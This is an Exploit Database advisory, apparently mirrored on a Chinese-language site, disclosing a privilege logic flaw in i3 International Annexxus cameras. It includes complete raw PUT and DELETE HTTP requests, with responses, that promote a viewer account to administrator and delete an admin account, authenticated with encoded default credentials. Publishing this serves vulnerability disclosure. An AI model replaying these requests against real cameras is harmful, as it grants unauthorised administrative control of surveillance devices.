i3 International Annexxus Cameras Ax-n 5.2.0 – Application Logic Flaw

• Exploit Database
• 111 阅读

• 作者： LiquidWorm
  日期： 2021-11-02
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50473/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120

  # Exploit Title: i3 International Annexxus Cameras Ax-n 5.2.0 - Application Logic Flaw # Date: 27.10.2021 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.i3international.com     i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw     Vendor: i3 International Inc. Product web page: https://www.i3international.com Affected version: V5.2.0 build 150317 (Ax46) V5.0.9 build 151106 (Ax68) V5.0.9 build 150615 (Ax78)     Summary: The Annexxus camera 6MP provides 4 simultaneous, independently controlled digital pan-tilt-zoom (ePTZ) video streams, which may be recorded or viewed live as well as a built-in microphone and speaker allowing two way communication.   Desc: The application doesn&apos;t allow creation of more than one administrator account on the system. This also applies for deletion of the administrative account. The logic behind this restriction can be bypassed by parameter manipulation using dangerous verbs like PUT and DELETE and improper server-side validation. Once a normal account with &apos;viewer&apos; or &apos;operator&apos; permissions has been added by the default admin user &apos;i3admin&apos;, a PUT request can be issued calling the &apos;UserPermission&apos; endpoint with the ID of created account and set it to &apos;admin&apos; userType, successfully adding a second administrative account.   Tested on: App-webs/     Vulnerability discovered by Gjoko &apos;LiquidWorm&apos; Krstic @zeroscience     Advisory ID: ZSL-2021-5688 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5688.php     27.10.2021   --     Make user ID 3 an Administrator: --------------------------------   PUT /PSIA/Custom/SelfExt/UserPermission/3 HTTP/1.1 Host: 192.168.1.1 Content-Length: 556 Cache-Control: max-age=0 Accept: */* X-Requested-With: XMLHttpRequest If-Modified-Since: 0 Authorization: Basic aTNhZG1pbjppM2FkbWlu User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: http://192.168.1.1 Referer: http://192.168.1.1/doc/setup.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin Connection: close   <?xml version=&apos;1.0&apos; encoding=&apos;utf-8&apos;?><UserPermission><id>3</id><userID>3</userID><userType>admin</userType><remotePermission><playBack>true</playBack><preview>true</preview><record>true</record><ptzControl>true</ptzControl><upgrade>true</upgrade><parameterConfig>true</parameterConfig><restartOrShutdown>true</restartOrShutdown><logOrStateCheck>true</logOrStateCheck><voiceTalk>true</voiceTalk><transParentChannel>true</transParentChannel><contorlLocalOut>true</contorlLocalOut><alarmOutOrUpload>true</alarmOutOrUpload></remotePermission></UserPermission>     HTTP/1.1 200 OK Date: Wed, 27 Oct 2021 14:13:56 GMT Server: App-webs/ Connection: close Content-Length: 238 Content-Type: application/xml   <?xml version="1.0" encoding="UTF-8"?> <ResponseStatus version="1.0" xmlns="urn:psialliance-org"> <requestURL>/PSIA/Custom/SelfExt/UserPermission/3</requestURL> <statusCode>1</statusCode> <statusString>OK</statusString> </ResponseStatus>       Delete Administrator user ID 3: -------------------------------   DELETE /PSIA/Security/AAA/users/3 HTTP/1.1 Host: 192.168.1.1 Cache-Control: max-age=0 Accept: */* X-Requested-With: XMLHttpRequest If-Modified-Since: 0 Authorization: Basic aTNhZG1pbjppM2FkbWlu User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Origin: http://192.168.1.1 Referer: http://192.168.1.1/doc/setup.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin Connection: close     HTTP/1.1 200 OK Date: Wed, 27 Oct 2021 14:20:17 GMT Server: App-webs/ Connection: close Content-Length: 213 Content-Type: application/xml   <?xml version="1.0" encoding="UTF-8"?> <ResponseStatus version="1.0" xmlns="urn:psialliance-org"> <requestURL>/PSIA/Security/AAA/users/3</requestURL> <statusCode>1</statusCode> <statusString>OK</statusString> </ResponseStatus>